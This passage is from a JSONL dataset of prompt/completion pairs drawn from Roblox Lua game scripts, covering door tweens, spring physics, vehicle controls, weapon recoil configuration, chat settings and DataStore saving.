{CFrame = model.TargetR_Open.CFrame})\n\nlocal tweenLClose = TweenService:Create(left, tweenInfo, {CFrame = model.TargetL_Closed.CFrame})\nlocal tweenRClose = TweenService:Create(right, tweenInfo, {CFrame = model.TargetR_Closed.CFrame})\n\nlocal function StartOpening()\n\tdoorState = DoorState.Opening\n\tmodel[\"Door\"]:Play()\n\t\n\ttweenL:Play()\n\ttweenR:Play()\nend\n\nlocal function StartClosing()\n\tdoorState = DoorState.Closing\n\t--model[\"Door\"]:Play()\n\n\ttweenLClose:Play()\n\ttweenRClose:Play()\nend\n\nlocal function tweenOpenCompleted(playbackState)\n\tif(next(playersNear) == nil) then\n\t\tStartClosing()\n\telse\n\t\tdoorState = DoorState.Open\n\tend\nend\n\nlocal function tweenCloseCompleted(playbackState)\n\tif(next(playersNear) ~= nil) then\n\t\tStartOpening()\n\telse\n\t\tdoorState = DoorState.Closed\n\tend\nend\n\ntweenL.Completed:Connect(tweenOpenCompleted)\ntweenLClose.Completed:Connect(tweenCloseCompleted)\n\nlocal function touched(otherPart)\n\tif(otherPart.Name == \"HumanoidRootPart\" ) then\n\t\tlocal player = game.Players:FindFirstChild(otherPart.Parent.Name)\n\t\tif(player) then\n\t\t\t--print(\"touch\")\n\t\t\tplayersNear[player] = 1\n\t\t\tif(doorState == DoorState.Closed) then\n\t\t\t\tStartOpening()\n\t\t\tend\n\t\tend\n\tend\nend\n\n\nlocal function touchEnded(otherPart)\n\tif(otherPart.Name == \"HumanoidRootPart\" ) then\n\t\tlocal player = game.Players:FindFirstChild(otherPart.Parent.Name)\n\t\tif(player) then\n\t\t\t--print(\"touch ended\")\t\n\t\t\tplayersNear[player] = nil\n\t\t\t\n\t\t\tif(next(playersNear) == nil) then\n\t\t\t\tif(doorState == DoorState.Open) then\n\t\t\t\t\tStartClosing()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n\ntrigger.Touched:Connect(touched)\ntrigger.TouchEnded:Connect(touchEnded)\n\n"} +{"prompt": "--[[\n\tReturns a 2x2 matrix of coefficients for a given time, damping and speed.\n\tSpecifically, this returns four coefficients - posPos, posVel, velPos, and\n\tvelVel - which can be multiplied with position and velocity like so:\n\n\tlocal newPosition = oldPosition * posPos + oldVelocity * posVel\n\tlocal newVelocity = oldPosition * velPos + oldVelocity * velVel\n\n\tSpecial thanks to AxisAngle for helping to improve numerical precision.\n]]", "completion": "\n\nlocal function springCoefficients(time: number, damping: number, speed: number): (number, number, number, number)\n\t-- if time or speed is 0, then the spring won't move\n\tif time == 0 or speed == 0 then\n\t\treturn 1, 0, 0, 1\n\tend\n\tlocal posPos, posVel, velPos, velVel\n\n\tif damping > 1 then\n\t\t-- overdamped spring\n\t\t-- solution to the characteristic equation:\n\t\t-- z = -\u03b6\u03c9 \u00b1 Sqrt[\u03b6^2 - 1] \u03c9\n\t\t-- x[t] -> x0(e^(t z2) z1 - e^(t z1) z2)/(z1 - z2)\n\t\t--\t\t + v0(e^(t z1) - e^(t z2))/(z1 - z2)\n\t\t-- v[t] -> x0(z1 z2(-e^(t z1) + e^(t z2)))/(z1 - z2)\n\t\t--\t\t + v0(z1 e^(t z1) - z2 e^(t z2))/(z1 - z2)\n\n\t\tlocal scaledTime = time * speed\n\t\tlocal alpha = math.sqrt(damping^2 - 1)\n\t\tlocal scaledInvAlpha = -0.5 / alpha\n\t\tlocal z1 = -alpha - damping\n\t\tlocal z2 = 1 / z1\n\t\tlocal expZ1 = math.exp(scaledTime * z1)\n\t\tlocal expZ2 = math.exp(scaledTime * z2)\n\n\t\tposPos = (expZ2*z1 - expZ1*z2) * scaledInvAlpha\n\t\tposVel = (expZ1 - expZ2) * scaledInvAlpha / speed\n\t\tvelPos = (expZ2 - expZ1) * scaledInvAlpha * speed\n\t\tvelVel = (expZ1*z1 - expZ2*z2) * scaledInvAlpha\n\n\telseif damping == 1 then\n\t\t-- critically damped spring\n\t\t-- x[t] -> x0(e^-t\u03c9)(1+t\u03c9) + v0(e^-t\u03c9)t\n\t\t-- v[t] -> x0(t \u03c9^2)(-e^-t\u03c9) + v0(1 - t\u03c9)(e^-t\u03c9)\n\n\t\tlocal scaledTime = time * speed\n\t\tlocal expTerm = math.exp(-scaledTime)\n\n\t\tposPos = expTerm * (1 + scaledTime)\n\t\tposVel = expTerm * time\n\t\tvelPos = expTerm * (-scaledTime*speed)\n\t\tvelVel = expTerm * (1 - scaledTime)\n\n\telse\n\t\t-- underdamped spring\n\t\t-- factored out of the solutions to the characteristic equation:\n\t\t-- \u03b1 = Sqrt[1 - \u03b6^2]\n\t\t-- x[t] -> x0(e^-t\u03b6\u03c9)(\u03b1 Cos[t\u03b1] + \u03b6\u03c9 Sin[t\u03b1])/\u03b1\n\t\t-- + v0(e^-t\u03b6\u03c9)(Sin[t\u03b1])/\u03b1\n\t\t-- v[t] -> x0(-e^-t\u03b6\u03c9)(\u03b1^2 + \u03b6^2 \u03c9^2)(Sin[t\u03b1])/\u03b1\n\t\t-- + v0(e^-t\u03b6\u03c9)(\u03b1 Cos[t\u03b1] - \u03b6\u03c9 Sin[t\u03b1])/\u03b1\n\n\t\tlocal scaledTime = time * speed\n\t\tlocal alpha = math.sqrt(1 - damping^2)\n\t\tlocal invAlpha = 1 / alpha\n\t\tlocal alphaTime = alpha * scaledTime\n\t\tlocal expTerm = math.exp(-scaledTime*damping)\n\t\tlocal sinTerm = expTerm * math.sin(alphaTime)\n\t\tlocal cosTerm = expTerm * math.cos(alphaTime)\n\t\tlocal sinInvAlpha = sinTerm*invAlpha\n\t\tlocal sinInvAlphaDamp = sinInvAlpha*damping\n\n\t\tposPos = sinInvAlphaDamp + cosTerm\n\t\tposVel = sinInvAlpha\n\t\tvelPos = -(sinInvAlphaDamp*damping + sinTerm*alpha)\n\t\tvelVel = cosTerm - sinInvAlphaDamp\n\tend\n\n\treturn posPos, posVel, velPos, velVel\nend\n\nreturn springCoefficients\n"} +{"prompt": "-- CastBehavior.CosmeticBulletTemplate = CosmeticBullet -- Uncomment if you just want a simple template part and aren't using PartCache", "completion": "\nCastBehavior.CosmeticBulletProvider = CosmeticPartProvider -- Comment out if you aren't using PartCache.\n\nCastBehavior.CosmeticBulletContainer = CosmeticBulletsFolder\nCastBehavior.Acceleration = BULLET_GRAVITY\nCastBehavior.AutoIgnoreContainer = false -- We already do this! We don't need the default value of true (see the bottom of this script)\n"} +{"prompt": "--[[Misc]]", "completion": "\n\tTune.LoadDelay\t\t= .9\t\t-- Delay before initializing chassis (in seconds)\n\tTune.AutoStart\t\t= false\t\t-- Set to false if using manual ignition plugin\n\tTune.AutoFlip\t\t= true\t\t-- Set to false if using manual flip plugin\n\t"} +{"prompt": "--// Connections", "completion": "\nL_105_.OnClientEvent:connect(function(L_188_arg1, L_189_arg2, L_190_arg3, L_191_arg4, L_192_arg5, L_193_arg6, L_194_arg7)\n\tif L_188_arg1 and not L_15_ then\n\t\tMakeFakeArms()\n\t\t\n\t\tL_42_ = L_2_.PlayerGui.MainGui\n\t\tL_26_ = L_42_:WaitForChild('Others')\n\t\tL_27_ = L_26_:WaitForChild('Kill')\n\t\tL_28_ = L_42_:WaitForChild('GameGui'):WaitForChild('AmmoFrame')\n\t\tL_29_ = L_28_:WaitForChild('Ammo')\n\t\tL_30_ = L_28_:WaitForChild('AmmoBackground')\n\t\tL_31_ = L_28_:WaitForChild('MagCount')\n\t\tL_32_ = L_28_:WaitForChild('MagCountBackground')\n\t\tL_33_ = L_28_:WaitForChild('DistDisp')\n\t\tL_34_ = L_28_:WaitForChild('Title')\n\t\tL_35_ = L_28_:WaitForChild('Mode1')\n\t\tL_36_ = L_28_:WaitForChild('Mode2')\n\t\tL_37_ = L_28_:WaitForChild('Mode3')\n\t\tL_38_ = L_28_:WaitForChild('Mode4')\n\t\tL_39_ = L_28_:WaitForChild('Mode5')\n\t\tL_40_ = L_28_:WaitForChild('Stances')\n\t\tL_41_ = L_42_:WaitForChild('Shading')\n\t\tL_41_.Visible = false\n\t\t\n\t\tL_34_.Text = L_1_.Name\n\t\tUpdateAmmo()\n\t\t\n\t\tL_43_ = L_189_arg2\n\t\tL_44_ = L_190_arg3\n\t\tL_45_ = L_191_arg4\n\t\tL_46_ = L_192_arg5\n\t\tL_47_ = L_193_arg6\n\t\tL_48_ = L_194_arg7\t\n\t\tL_49_ = L_59_.Bolt\n\t\t\n\t\tL_84_ = L_48_.C1\n\t\tL_85_ = L_48_.C0\n\t\t\n\t\tif L_1_:FindFirstChild('AimPart2') then\n\t\t\tL_54_ = L_1_:WaitForChild('AimPart2')\n\t\tend\n\t\t\n\t\tif L_1_:FindFirstChild('FirePart2') then\n\t\t\tL_57_ = L_1_.FirePart2\n\t\tend\n\t\t\n\t\tif L_24_.FirstPersonOnly then\n\t\t\tL_2_.CameraMode = Enum.CameraMode.LockFirstPerson\n\t\tend\n\t\t--uis.MouseIconEnabled = false\n\t\tL_5_.FieldOfView = 70\n\t\tL_15_ = true\n\telseif L_15_ then\n\t\tif L_3_ and L_3_.Humanoid and L_3_.Humanoid.Health > 0 and L_9_ then\n\t\t\tStand()\n\t\t\tUnlean()\n\t\tend\t\n\t\t\n\t\tL_90_ = 0\n\t\tL_77_ = false\n\t\tL_78_ = false\n\t\tL_79_ = false\n\t\tL_61_ = false\n\t\tL_64_ = false\n\t\tL_63_ = false\n\t\tShooting = false\n\t\t\n\t\tL_94_ = 70\n\t\t\n\t\tRemoveArmModel()\n\t\t\n\t\tL_42_:Destroy()\t\n\t\t\n\t\tfor L_195_forvar1, L_196_forvar2 in pairs(IgnoreList) do\n\t\t\tif L_196_forvar2 ~= L_3_ and L_196_forvar2 ~= L_5_ and L_196_forvar2 ~= L_98_ then\n\t\t\t\ttable.remove(IgnoreList, L_195_forvar1)\n\t\t\tend\n\t\tend\n\t\t\n\t\tif L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then\n\t\t\tL_3_['Right Arm'].LocalTransparencyModifier = 0\n\t\t\tL_3_['Left Arm'].LocalTransparencyModifier = 0\n\t\tend\t\n\n\t\tL_75_ = false\n\t\tL_66_ = true\n\t\t\n\t\tL_2_.CameraMode = Enum.CameraMode.Classic\n\t\tL_104_.MouseIconEnabled = true\t\t\n\t\tL_5_.FieldOfView = 70\n\t\tL_15_ = false\n\t\tL_104_.MouseDeltaSensitivity = L_52_\n\t\tL_4_.Icon = \"http://www.roblox.com/asset?id=0\"\n\t\tL_15_ = false\n\tend\nend)\n"} +{"prompt": "-- Signal Type enums", "completion": "\nRaycastHitbox.SignalType = {\n\tDefault = 1,\n\tSingle = 2, --- Defaults to Single connections only for legacy purposes\n}\n"} +{"prompt": "--[[ Constants ]]", "completion": "--\nlocal movementKeys = {\n\t[Enum.KeyCode.W] = true;\n\t[Enum.KeyCode.A] = true;\n\t[Enum.KeyCode.S] = true;\n\t[Enum.KeyCode.D] = true;\n\t[Enum.KeyCode.Up] = true;\n\t[Enum.KeyCode.Down] = true;\n}\n\nlocal Player = Players.LocalPlayer\n\nlocal ClickToMoveDisplay = require(script.Parent:WaitForChild(\"ClickToMoveDisplay\"))\n\nlocal ZERO_VECTOR3 = Vector3.new(0,0,0)\nlocal ALMOST_ZERO = 0.000001\n\n"} +{"prompt": "--\t\tprint(animName .. \" * \" .. idx .. \" [\" .. origRoll .. \"]\")", "completion": "\n\t\tlocal anim = animTable[animName][idx].anim\n\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\ttoolOldAnimTrack = toolAnimTrack\n\t\ttoolAnimTrack = humanoid:LoadAnimation(anim)\n\t\t \n\t\t-- play the animation\n\t\ttoolAnimTrack:Play(transitionTime)\n\t\ttoolAnimName = animName\n\n\t\tcurrentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)\n\tend\nend\n\nfunction stopToolAnimations()\n\tlocal oldAnim = toolAnimName\n\n\tif (currentToolAnimKeyframeHandler ~= nil) then\n\t\tcurrentToolAnimKeyframeHandler:disconnect()\n\tend\n\n\ttoolAnimName = \"\"\n\tif (toolAnimTrack ~= nil) then\n\t\ttoolAnimTrack:Stop()\n\t\ttoolAnimTrack:Destroy()\n\t\ttoolAnimTrack = nil\n\tend\n\n\n\treturn oldAnim\nend\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,VRecoil = {20,22}\t\t\t\t--- Vertical Recoil\n\t,HRecoil = {8,10}\t\t\t\t--- Horizontal Recoil\n\t,AimRecover = .3\t\t\t\t---- Between 0 & 1\n\t\n\t,RecoilPunch = .35\n\t,VPunchBase = 5.75\t\t\t\t--- Vertical Punch\n\t,HPunchBase = 3.25\t\t\t\t--- Horizontal Punch\n\t,DPunchBase = 1 \t\t\t\t--- Tilt Punch | useless\n\t\n\t,AimRecoilReduction = .75 \t\t--- Recoil Reduction Factor While Aiming (Do not set to 0)\n\t,PunchRecover = 0.1\n\t,MinRecoilPower = 1\n\t,MaxRecoilPower = 1\n\t,RecoilPowerStepAmount = 1\n\t\n\t,MinSpread = 0.15\t\t\t\t--- Min bullet spread value | Studs\n\t,MaxSpread = 25\t\t\t\t\t--- Max bullet spread value | Studs\n\t,AimInaccuracyStepAmount = 0\n\t,WalkMultiplier = 0\t\t\t\t--- Bullet spread based on player speed\n\n\t,SwayBase = 0\t\t\t\t--- Weapon Base Sway | Studs\n\t,MaxSway =\t3\t\t\t\t\t--- Max sway value based on player stamina | Studs"} +{"prompt": "--// Modules", "completion": "\nlocal L_111_ = require(L_22_:WaitForChild(\"Utilities\"))\nlocal L_112_ = require(L_22_:WaitForChild(\"Spring\"))\nlocal L_113_ = require(L_22_:WaitForChild(\"Plugins\"))\nlocal L_114_ = require(L_22_:WaitForChild(\"easing\"))\n\nlocal L_115_ = L_111_.Fade\nlocal L_116_ = L_111_.SpawnCam\nlocal L_117_ = L_111_.FixCam\nlocal L_118_ = L_111_.tweenFoV\nlocal L_119_ = L_111_.tweenCam\nlocal L_120_ = L_111_.tweenRoll\nlocal L_121_ = L_111_.TweenJoint\n\nlocal L_122_ = L_111_.Weld\n"} +{"prompt": "--// Events", "completion": "\nlocal L_28_ = L_6_:WaitForChild('Equipped')\nlocal L_29_ = L_6_:WaitForChild('ShootEvent')\nlocal L_30_ = L_6_:WaitForChild('DamageEvent')\nlocal L_31_ = L_6_:WaitForChild('CreateOwner')\nlocal L_32_ = L_6_:WaitForChild('Stance')\nlocal L_33_ = L_6_:WaitForChild('HitEvent')\nlocal L_34_ = L_6_:WaitForChild('KillEvent')\nlocal L_35_ = L_6_:WaitForChild('AimEvent')\nlocal L_36_ = L_6_:WaitForChild('ExploEvent')\n"} +{"prompt": "-- Also set this to true if you want the thumbstick to not affect throttle, only triggers when a gamepad is conected", "completion": "\nlocal onlyTriggersForThrottle = false\n\nlocal function onThrottleAccel(actionName, inputState, inputObject)\n\tMasterControl:AddToPlayerMovement(Vector3.new(0, 0, -CurrentThrottle))\n\tCurrentThrottle = (inputState == Enum.UserInputState.End or Deccelerating) and 0 or -1\n\tMasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle))\n\tAccelerating = not (inputState == Enum.UserInputState.End)\n\tif (inputState == Enum.UserInputState.End) and Deccelerating then\n\t\tCurrentThrottle = 1\n\t\tMasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle))\n\tend\nend\n\nlocal function onThrottleDeccel(actionName, inputState, inputObject)\n\tMasterControl:AddToPlayerMovement(Vector3.new(0, 0, -CurrentThrottle))\n\tCurrentThrottle = (inputState == Enum.UserInputState.End or Accelerating) and 0 or 1\n\tMasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle))\n\tDeccelerating = not (inputState == Enum.UserInputState.End)\n\tif (inputState == Enum.UserInputState.End) and Accelerating then\n\t\tCurrentThrottle = -1\n\t\tMasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle))\n\tend\nend\n\nlocal function onSteerRight(actionName, inputState, inputObject)\n\tMasterControl:AddToPlayerMovement(Vector3.new(-CurrentSteer, 0, 0))\n\tCurrentSteer = (inputState == Enum.UserInputState.End or TurningLeft) and 0 or 1\n\tMasterControl:AddToPlayerMovement(Vector3.new(CurrentSteer, 0, 0))\n\tTurningRight = not (inputState == Enum.UserInputState.End)\n\tif (inputState == Enum.UserInputState.End) and TurningLeft then\n\t\tCurrentSteer = -1\n\t\tMasterControl:AddToPlayerMovement(Vector3.new(CurrentSteer, 0, 0))\n\tend\nend\n\nlocal function onSteerLeft(actionName, inputState, inputObject)\n\tMasterControl:AddToPlayerMovement(Vector3.new(-CurrentSteer, 0, 0))\n\tCurrentSteer = (inputState == Enum.UserInputState.End or TurningRight) and 0 or -1\n\tMasterControl:AddToPlayerMovement(Vector3.new(CurrentSteer, 0, 0))\n\tTurningLeft = not (inputState == Enum.UserInputState.End)\n\tif (inputState == Enum.UserInputState.End) and TurningRight then\n\t\tCurrentSteer = 1\n\t\tMasterControl:AddToPlayerMovement(Vector3.new(CurrentSteer, 0, 0))\n\tend\nend\n\nlocal function getHumanoid()\n\tlocal character = LocalPlayer and LocalPlayer.Character\n\tif character then\n\t\tfor _,child in pairs(character:GetChildren()) do\n\t\t\tif child:IsA('Humanoid') then\n\t\t\t\treturn child\n\t\t\tend\n\t\tend\n\tend\nend\n\nlocal function getClosestFittingValue(value)\n\tif value > 0.5 then\n\t\treturn 1\n\telseif value < -0.5 then\n\t\treturn -1\n\tend\n\treturn 0 \nend\n\nlocal function onRenderStepped()\n\tif CurrentVehicleSeat then\n\t\tlocal moveValue = MasterControl:GetMoveVector()\n\t\tif game:GetService(\"UserInputService\"):GetGamepadConnected(Enum.UserInputType.Gamepad1) and onlyTriggersForThrottle and useTriggersForThrottle then\n\t\t\tCurrentVehicleSeat.Throttle = -CurrentThrottle\n\t\telse\n\t\t\tCurrentVehicleSeat.Throttle = getClosestFittingValue(-moveValue.z)\n\t\tend\n\t\tCurrentVehicleSeat.Steer = getClosestFittingValue(moveValue.x)\n\tend\nend\n\nlocal function onSeated(active, currentSeatPart)\n\tif active then\n\t\tif currentSeatPart and currentSeatPart:IsA('VehicleSeat') then\n\t\t\tCurrentVehicleSeat = currentSeatPart\n\t\t\tif useTriggersForThrottle then\n\t\t\t\tContextActionService:BindAction(\"throttleAccel\", onThrottleAccel, false, Enum.KeyCode.ButtonR2)\n\t\t\t\tContextActionService:BindAction(\"throttleDeccel\", onThrottleDeccel, false, Enum.KeyCode.ButtonL2)\n\t\t\tend\n\t\t\tContextActionService:BindAction(\"arrowSteerRight\", onSteerRight, false, Enum.KeyCode.Right)\n\t\t\tContextActionService:BindAction(\"arrowSteerLeft\", onSteerLeft, false, Enum.KeyCode.Left)\n\t\t\tlocal success = pcall(function() RunService:BindToRenderStep(\"VehicleControlStep\", Enum.RenderPriority.Input.Value, onRenderStepped) end)\n\n\t\t\tif not success then\n\t\t\t\tif RenderSteppedCn then return end\n\t\t\t\tRenderSteppedCn = RunService.RenderStepped:connect(onRenderStepped)\n\t\t\tend\n\t\tend\n\telse\n\t\tCurrentVehicleSeat = nil\n\t\tif useTriggersForThrottle then\n\t\t\tContextActionService:UnbindAction(\"throttleAccel\")\n\t\t\tContextActionService:UnbindAction(\"throttleDeccel\")\n\t\tend\n\t\tContextActionService:UnbindAction(\"arrowSteerRight\")\n\t\tContextActionService:UnbindAction(\"arrowSteerLeft\")\n\t\tMasterControl:AddToPlayerMovement(Vector3.new(-CurrentSteer, 0, -CurrentThrottle))\n\t\tCurrentThrottle = 0\n\t\tCurrentSteer = 0\n\t\tlocal success = pcall(function() RunService:UnbindFromRenderStep(\"VehicleControlStep\") end)\n\t\tif not success and RenderSteppedCn then\n\t\t\tRenderSteppedCn:disconnect()\n\t\t\tRenderSteppedCn = nil\n\t\tend\n\tend\nend\n\nlocal function CharacterAdded(character)\n\tlocal humanoid = getHumanoid()\n\twhile not humanoid do\n\t\twait()\n\t\thumanoid = getHumanoid()\n\tend\n\t--\n\tif HumanoidSeatedCn then\n\t\tHumanoidSeatedCn:disconnect()\n\t\tHumanoidSeatedCn = nil\n\tend\n\tHumanoidSeatedCn = humanoid.Seated:connect(onSeated)\nend\n\nif LocalPlayer.Character then\n\tCharacterAdded(LocalPlayer.Character)\nend\nLocalPlayer.CharacterAdded:connect(CharacterAdded)\n\nreturn VehicleController\n"} +{"prompt": "--- Constants used to decide when to notify that the chat filter is having issues filtering messages.", "completion": "\nlocal FILTER_NOTIFCATION_THRESHOLD = 3 --Number of notifcation failures before an error message is output.\nlocal FILTER_NOTIFCATION_INTERVAL = 60 --Time between error messages.\nlocal FILTER_THRESHOLD_TIME = 60 --If there has not been an issue in this many seconds, the count of issues resets.\n\nlocal module = {}\n\nlocal RunService = game:GetService(\"RunService\")\nlocal Chat = game:GetService(\"Chat\")\nlocal _SETTINGS = require(Chat:WaitForChild(\"SettingsHandler\"))\nlocal ReplicatedModules = Chat:WaitForChild(\"ClientChatModules\")\n\nlocal modulesFolder = script.Parent\nlocal ReplicatedModules = Chat:WaitForChild(\"ClientChatModules\")\nlocal ChatSettings = require(ReplicatedModules:WaitForChild(\"ChatSettings\"))\n\nlocal errorTextColor = ChatSettings.ErrorMessageTextColor or Color3.fromRGB(245, 50, 50)\nlocal errorExtraData = {ChatColor = errorTextColor}\n"} +{"prompt": "--- Cleans up all tasks.\n-- @alias Destroy", "completion": "\nfunction Maid:DoCleaning()\n\tlocal tasks = self._tasks\n\n\t-- Disconnect all events first as we know this is safe\n\tfor index, task in pairs(tasks) do\n\t\tif (typeof(task) == \"RBXScriptConnection\") then\n\t\t\ttasks[index] = nil\n\t\t\ttask:Disconnect()\n\t\tend\n\tend\n\n\t-- Clear out tasks table completely, even if clean up tasks add more tasks to the maid\n\tlocal index, task = next(tasks)\n\twhile (task ~= nil) do\n\t\ttasks[index] = nil\n\t\tif (type(task) == \"function\") then\n\t\t\ttask()\n\t\telseif (typeof(task) == \"RBXScriptConnection\") then\n\t\t\ttask:Disconnect()\n\t\telseif (task.Destroy) then\n\t\t\ttask:Destroy()\n\t\tend\n\t\tindex, task = next(tasks)\n\tend\nend\n\n"} +{"prompt": "--Modules", "completion": "\nlocal Knit = require(ReplicatedStorage.Packages.Knit)\n\nKnit.AddControllers(controllersFolder)\nKnit.AddControllersDeep(controllersFolder)\n\nKnit.Start()\n"} +{"prompt": "--- Replace with true/false to force the chat type. Otherwise this will default to the setting on the website.", "completion": "\nmodule.BubbleChatEnabled = true\nmodule.ClassicChatEnabled = true\n"} +{"prompt": "--Made by Stickmasterluke", "completion": "\nlocal Health\nlocal MaxHealth\n\nsp=script.Parent\n\nspeedboost=1\t\t--100% speed bonus\nspeedforsmoke=10\t--smoke apears when character running >= 10 studs/second.\n\nfunction waitfor(a,b,c)\n\tlocal c=c or 5*60\n\tlocal d=tick()+c\n\twhile a:FindFirstChild(b)==nil and tick()<=d do\n\t\twait()\n\tend\n\treturn a:FindFirstChild(b)\nend\n\nlocal tooltag=waitfor(script,\"ToolTag\",2)\nif tooltag~=nil then\n\tlocal tool=tooltag.Value\n\tlocal h=sp:FindFirstChild(\"Humanoid\")\n\tif h~=nil then\n\t\th.Health = 99999e99999\n\t\th.MaxHealth = 99999e99999\n\t\th.Health = 99999e99999\n\t\th.MaxHealth = 99999e99999\n\t\th.WalkSpeed=1+100+10+1+1+1+1+1*speedboost\n\t\th.JumpPower = 1000\n\t\th.Parent:findFirstChild(\"Head\").Material = Enum.Material.ForceField\nh.Parent:findFirstChild(\"Torso\").Material = Enum.Material.ForceField\nh.Parent:findFirstChild(\"Left Arm\").Material = Enum.Material.ForceField\nh.Parent:findFirstChild(\"Right Arm\").Material = Enum.Material.ForceField\nh.Parent:findFirstChild(\"Left Leg\").CanCollide = true\nh.Parent:findFirstChild(\"Left Leg\").Material = Enum.Material.ForceField\nh.Parent:findFirstChild(\"Right Leg\").CanCollide = true\nh.Parent:findFirstChild(\"Right Leg\").Material = Enum.Material.ForceField\n\t\tlocal t=sp:FindFirstChild(\"Torso\")\n\t\tif t~=nil then\n\t\t\tsmokepart=Instance.new(\"Part\")\n\t\t\tsmokepart.FormFactor=\"Custom\"\n\t\t\tsmokepart.Size=Vector3.new(0,0,0)\n\t\t\tsmokepart.TopSurface=\"Smooth\"\n\t\t\tsmokepart.BottomSurface=\"Smooth\"\n\t\t\tsmokepart.CanCollide=false\n\t\t\tsmokepart.Transparency=1\n\t\t\tlocal weld=Instance.new(\"Weld\")\n\t\t\tweld.Name=\"SmokePartWeld\"\n\t\t\tweld.Part0=t\n\t\t\tweld.Part1=smokepart\n\t\t\tweld.C0=CFrame.new(0,-3.5,0)*CFrame.Angles(math.pi/4,0,0)\n\t\t\tweld.Parent=smokepart\n\t\t\tsmokepart.Parent=sp\n\t\t\tsmoke=Instance.new(\"Smoke\")\n\t\t\tsmoke.Enabled=t.Velocity.magnitude>speedforsmoke\n\t\t\tsmoke.Color = Color3.new(0,0,0)\n\t\t\tsmoke.Opacity = 0.5\n\t\t\tsmoke.RiseVelocity = 1\n\t\t\tsmoke.Size = 1\n\t\t\tsmoke.Parent=smokepart\n\t\t\th.Running:connect(function(speed)\n\t\t\t\tif smoke and smoke~=nil then\n\t\t\t\t\tsmoke.Enabled=speed>speedforsmoke\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\tend\n\twhile tool~=nil and tool.Parent==sp and h~=nil do\n\t\tsp.ChildRemoved:wait()\n\tend\n\tlocal h=sp:FindFirstChild(\"Humanoid\")\n\tif h~=nil then\n\t\th.Health = 100\n\t\th.MaxHealth = 100\n\t\th.Health = 100\n\t\th.MaxHealth = 100\n\t\th.WalkSpeed=16\n\th.JumpPower = 50\n\th.Parent:findFirstChild(\"Head\").Material = Enum.Material.Plastic\nh.Parent:findFirstChild(\"Torso\").Material = Enum.Material.Plastic\nh.Parent:findFirstChild(\"Left Arm\").Material = Enum.Material.Plastic\nh.Parent:findFirstChild(\"Right Arm\").Material = Enum.Material.Plastic\nh.Parent:findFirstChild(\"Left Leg\").CanCollide = false\nh.Parent:findFirstChild(\"Left Leg\").Material = Enum.Material.Plastic\nh.Parent:findFirstChild(\"Right Leg\").CanCollide = false\nh.Parent:findFirstChild(\"Right Leg\").Material = Enum.Material.Plastic\n\tend\nend\n\nif smokepart~=nil then\n\tsmokepart:remove()\nend\nscript:remove()\n\n\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n--------------------=[ CFRAME ]=--------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,EnableHolster = true\n\t,HolsterTo = 'Torso'\t\t\t\t -- Put the name of the body part you wanna holster to\n\t,HolsterPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))\n\t\n\t,RightArmPos = CFrame.new(-0.85, -0.2, -1.2) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\t--Server\n\t,LeftArmPos = CFrame.new(1.05,0.9,-1.4) * CFrame.Angles(math.rad(-100),math.rad(25),math.rad(-20))\t--server\n\t\n\t,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\n\t,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))\n\n\t,RightPos = CFrame.new(-.65, -0.2, -1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\t--Client\n\t,LeftPos = CFrame.new(1.2,0.1,-1.6) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-20))\t--Client\n}\n\nreturn Config\n\n"} +{"prompt": "--Save data to DataStore", "completion": "\nlocal function savePlayerData(player, playerLeaving)\n\tlocal pdata = main.pd[player]\n\tif pdata and (pdata.DataToUpdate or playerLeaving) then\n\t\treturn main:GetModule(\"DataStores\"):DataStoreRetry(datastoreRetries, function()\n\t\t\treturn playerDataStore:UpdateAsync(player.UserId, function(oldValue)\n\t\t\t\tlocal newValue = oldValue or {DataKey = 0}\n\t\t\t\tif pdata and main.pd[player] then\n\t\t\t\t\tif pdata.DataKey == newValue.DataKey then\n\t\t\t\t\t\tmain.pd[player].DataToUpdate = false\n\t\t\t\t\t\tmain.pd[player].DataKey = pdata.DataKey + 1\n\t\t\t\t\t\t--\n\t\t\t\t\t\tlocal pdataToSave = {}\n\t\t\t\t\t\tfor a,b in pairs(main.pd[player]) do\n\t\t\t\t\t\t\tpdataToSave[a] = b\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif not pdataToSave.SaveRank then\n\t\t\t\t\t\t--if playerLeaving and not pdataToSave.SaveRank then\n\t\t\t\t\t\t\tpdataToSave.Rank = 0\n\t\t\t\t\t\tend\n\t\t\t\t\t\tlocal dataNotToSave = dataNotToSave()\n\t\t\t\t\t\tfor i, v in pairs(dataNotToSave) do\n\t\t\t\t\t\t\tpdataToSave[v] = nil\n\t\t\t\t\t\tend\n\t\t\t\t\t\t--\n\t\t\t\t\t\tnewValue = pdataToSave\n\t\t\t\t\telse\n\t\t\t\t\t\tnewValue = nil --Prevent data being overwritten\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\treturn newValue\n\t\t\tend)\n\t\tend)\n\tend\nend\n\n\n"} +{"prompt": "-- Replace the humanoid with an animationcontroller", "completion": "\nlocal humanoid = npcModel:FindFirstChildOfClass(\"Humanoid\")\nhumanoid:Destroy()\nlocal animationController = Instance.new(\"AnimationController\")\nanimationController.Parent = npcModel\n"} +{"prompt": "-- This is pcalled because the SetCore methods may not be released yet.", "completion": "\npcall(function()\n\tPlayerBlockedEvent = 